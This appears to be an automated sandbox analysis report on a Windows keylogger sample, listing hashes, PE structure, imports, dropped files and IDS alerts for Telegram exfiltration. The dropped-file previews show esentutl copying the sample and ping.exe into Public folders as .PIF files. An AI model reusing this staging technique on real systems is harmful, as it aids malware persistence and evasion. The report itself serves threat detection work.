Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.[...5]..5]..5]..]'.5]..0\..5]..6\..5]..1\..5]..4]Q.5]..4\..5]..=\..5]...]..5]..7\..5]Rich..5]................PE..L....$Z.....................2......P4.......@....@..................................c....@...... ..........................`a..\|....p.. ...............................T............................................`..\............................text....)......................... ..`.data........@......................@....idata.......`.......0..............@..@.rsrc... ....p.......<..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	594
Entropy (8bit):	4.679530362953372
Encrypted:	false
SSDEEP:	12:qn7ZxTz9MEeSbZ7u0wxDDDDDDDDjCaY58O6aYASWXd7TB8NGNY:6xTzuEp7u0wQakQaNt7t8N/
MD5:	752F0BA7EC44AF7D743E1B8711A4C0F0
SHA1:	A034D557D7D79AD6682EB621C95ACF31A9786614
SHA-256:	0A63846682F4C541324E43927B98DD6AC6CE16F2003CBA76E37F4DFBEF87FC1D
SHA-512:	7C782C450D36151BA7A0899D7BD4D93042913CF6B25035AFB4F500EAC1595C16FDC8F62BDFA86CF17485482E630044A356D173105B4915A8692754E8633C4A54
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\Users\user\Desktop\EPTMAcgvNZ.exe...Destination File: C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x13ce00 (1297920) (1 MB)....Total bytes written = 0x13d000 (1298432) (1 MB).......Operation completed successfully in 0.125 seconds.....

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	560
Entropy (8bit):	4.530060792873685
Encrypted:	false
SSDEEP:	12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5B4aYA/4TB8NGNJ:/p4xT5cp7u0wQakB4aV4t8Nc
MD5:	9BEF8DE54A193A94D9A1EAD191C8984E
SHA1:	30ED4B43C4DE6754E64ED46E18BF0E00FCD138A2
SHA-256:	4205CE0B3465201AA88E0A5C8BE1B503C0BDFA30217BBC47BF5F89370D04FF3B
SHA-512:	416A523D818695D54E30B8261E6D3F60C88C4E9188C3459CCF8AD60773A6DBE2D7C5ABBAABD98CAA329598FCD3FED62FC440313F54AE4027B39F82D6A046BD86
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Destination File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x4a00 (18944) (0 MB)....Total bytes written = 0x5000 (20480) (0 MB).......Operation completed successfully in 0.94 seconds.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.351894430686878
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	EPTMAcgvNZ.exe
File size:	1'297'920 bytes
MD5:	dc614075998696b44ada8a2eed23fc03
SHA1:	911b29ff40b13f6935568153f178867e10946311
SHA256:	059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5
SHA512:	abd7c8f466b5c856a1a0862180598fbf32b9854ec4c4d6529c0fc3b45f642f538b2e52a5ad27c913f164b74306240bf84082d2dd69c8998a233c7379b749646b
SSDEEP:	24576:uPHhFG0TMHw0kEWIo7rVTR8XzSz4FMzDVW1SKCDH7:uPBZIMJTmjSmM3UxAH7
TLSH:	B4556A05E3C24D31D9322B3B580EB2ED67192D105B1C6B6AE6B5FA3D6B317D32CB1162
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	13d8d8d6d6d8f807

Static PE Info

General

Entrypoint:	0x4828b0
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f2d415c3d34c0a24d257d94e8f95599e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00481AACh
call 00007FA1C4683881h
mov eax, dword ptr [00491B54h]
mov eax, dword ptr [eax]
call 00007FA1C46D5CADh
mov ecx, dword ptr [00491970h]
mov eax, dword ptr [00491B54h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00481108h]
call 00007FA1C46D5CADh
mov eax, dword ptr [00491B54h]
mov eax, dword ptr [eax]
call 00007FA1C46D5D21h
call 00007FA1C4681834h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x96000	0x2812	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa3000	0xa1e00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9b000	0x786c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9a000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x96750	0x638	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80d1c	0x80e00	ce9e32a578f605edc36b7ea8c4427908	False	0.5213801830746848	data	6.567524934010026	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x82000	0x8f8	0xa00	d652a5e6b7fe80b40eaa3b2da77699fe	False	0.5734375	data	5.875113409165235	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x83000	0xece4	0xee00	92902b2dc8013b896f372dba0ec686b4	False	0.26281840861344535	data	6.5089029021829345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x92000	0x3afc	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x96000	0x2812	0x2a00	70d29339d31ba0f5bc4fe8f46c8d2d79	False	0.30747767857142855	data	4.945605499302349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x99000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x9a000	0x18	0x200	8f688f4da7785346d6867ce13b4d34ac	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9b000	0x786c	0x7a00	51d6abfc6b6519b195c4c65d65564755	False	0.6299628586065574	data	6.669232989160023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xa3000	0xa1e00	0xa1e00	bbe37615e620d624d6bab28e8432c47f	False	0.6572876447876448	data	7.53541735334072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xa3b5c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xa3c90	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xa3dc4	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xa3ef8	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xa402c	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xa4160	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xa4294	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0xa43c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xa4598	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xa477c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xa494c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xa4b1c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xa4cec	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xa4ebc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xa508c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xa525c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xa542c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xa55fc	0x99eac	Device independent bitmap graphic, 585 x 359 x 24, image size 630404, resolution 2835 x 2835 px/m	English	United States	0.6784155293729499
RT_BITMAP	0x13f4a8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x13f590	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.15173410404624277
RT_ICON	0x13faf8	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720			0.06405325443786983
RT_ICON	0x141560	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680			0.15930232558139534
RT_ICON	0x141c18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.17907801418439717
RT_DIALOG	0x142080	0x52	data			0.7682926829268293
RT_DIALOG	0x1420d4	0x52	data			0.7560975609756098
RT_STRING	0x142128	0x2e0	data			0.4592391304347826
RT_STRING	0x142408	0xdc	data			0.6545454545454545
RT_STRING	0x1424e4	0xd8	data			0.6574074074074074
RT_STRING	0x1425bc	0x108	data			0.6174242424242424
RT_STRING	0x1426c4	0x448	data			0.40145985401459855
RT_STRING	0x142b0c	0x394	data			0.3864628820960699
RT_STRING	0x142ea0	0x354	data			0.4014084507042254
RT_STRING	0x1431f4	0x3cc	data			0.33539094650205764
RT_STRING	0x1435c0	0x214	data			0.49624060150375937
RT_STRING	0x1437d4	0xcc	data			0.6274509803921569
RT_STRING	0x1438a0	0x194	data			0.5643564356435643
RT_STRING	0x143a34	0x3c4	data			0.3288381742738589
RT_STRING	0x143df8	0x338	data			0.42961165048543687
RT_STRING	0x144130	0x294	data			0.42424242424242425
RT_RCDATA	0x1443c4	0x10	data			1.5
RT_RCDATA	0x1443d4	0x340	data			0.6887019230769231
RT_RCDATA	0x144714	0x51e	Delphi compiled form 'TMainForm'			0.48931297709923666
RT_GROUP_CURSOR	0x144c34	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x144c48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x144c5c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x144c70	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x144c84	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x144c98	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x144cac	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x144cc0	0x3e	data			0.9032258064516129

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetTickCount, QueryPerformanceCounter, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchDIBits, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetPaletteEntries, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, ResizePalette, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetNearestPaletteIndex, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SuspendThread, Sleep, SizeofResource, SetThreadPriority, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetExitCodeThread, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T08:24:42.922117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	185.166.143.48	443	TCP
2024-11-26T08:24:45.662912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	16.182.70.225	443	TCP
2024-11-26T08:25:08.912759+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49742	149.154.167.220	443	TCP
2024-11-26T08:25:19.825821+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49764	149.154.167.220	443	TCP
2024-11-26T08:25:21.178091+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49770	149.154.167.220	443	TCP
2024-11-26T08:25:23.204892+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49775	149.154.167.220	443	TCP
2024-11-26T08:25:23.946619+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49776	149.154.167.220	443	TCP
2024-11-26T08:25:26.049970+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49781	149.154.167.220	443	TCP
2024-11-26T08:25:28.010639+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49786	149.154.167.220	443	TCP
2024-11-26T08:25:32.576254+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49791	149.154.167.220	443	TCP
2024-11-26T08:25:32.586543+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49793	149.154.167.220	443	TCP
2024-11-26T08:25:34.569182+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49803	149.154.167.220	443	TCP
2024-11-26T08:25:34.654030+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49802	149.154.167.220	443	TCP
2024-11-26T08:25:35.355516+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49806	149.154.167.220	443	TCP
2024-11-26T08:25:36.477132+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49810	149.154.167.220	443	TCP
2024-11-26T08:25:36.566754+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49811	149.154.167.220	443	TCP
2024-11-26T08:25:37.286947+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49813	149.154.167.220	443	TCP
2024-11-26T08:25:38.453268+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49817	149.154.167.220	443	TCP
2024-11-26T08:25:38.596417+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49818	149.154.167.220	443	TCP
2024-11-26T08:25:39.254460+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49821	149.154.167.220	443	TCP
2024-11-26T08:25:40.506102+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49823	149.154.167.220	443	TCP
2024-11-26T08:25:40.690385+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49825	149.154.167.220	443	TCP
2024-11-26T08:25:41.309105+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49828	149.154.167.220	443	TCP
2024-11-26T08:25:42.559961+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49831	149.154.167.220	443	TCP
2024-11-26T08:25:42.660893+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49832	149.154.167.220	443	TCP
2024-11-26T08:25:43.283332+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49836	149.154.167.220	443	TCP
2024-11-26T08:25:44.896641+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49840	149.154.167.220	443	TCP
2024-11-26T08:25:44.936818+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49839	149.154.167.220	443	TCP
2024-11-26T08:25:46.081878+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49842	149.154.167.220	443	TCP
2024-11-26T08:25:46.878546+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49846	149.154.167.220	443	TCP
2024-11-26T08:25:46.926538+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49847	149.154.167.220	443	TCP
2024-11-26T08:25:48.241922+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49850	149.154.167.220	443	TCP
2024-11-26T08:25:49.140464+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49854	149.154.167.220	443	TCP
2024-11-26T08:25:49.173504+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49855	149.154.167.220	443	TCP
2024-11-26T08:25:50.267456+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49858	149.154.167.220	443	TCP
2024-11-26T08:25:51.080992+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49864	149.154.167.220	443	TCP
2024-11-26T08:25:51.119037+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49863	149.154.167.220	443	TCP
2024-11-26T08:25:52.281538+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49867	149.154.167.220	443	TCP
2024-11-26T08:25:53.054025+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49868	149.154.167.220	443	TCP
2024-11-26T08:25:53.204327+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49870	149.154.167.220	443	TCP
2024-11-26T08:25:54.375472+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49876	149.154.167.220	443	TCP
2024-11-26T08:25:55.122672+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49878	149.154.167.220	443	TCP
2024-11-26T08:25:55.229963+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49877	149.154.167.220	443	TCP
2024-11-26T08:25:59.252785+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49884	149.154.167.220	443	TCP
2024-11-26T08:25:59.286116+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49887	149.154.167.220	443	TCP
2024-11-26T08:25:59.310128+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49886	149.154.167.220	443	TCP
2024-11-26T08:26:01.252796+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49898	149.154.167.220	443	TCP
2024-11-26T08:26:01.277971+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49897	149.154.167.220	443	TCP
2024-11-26T08:26:01.291141+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49899	149.154.167.220	443	TCP
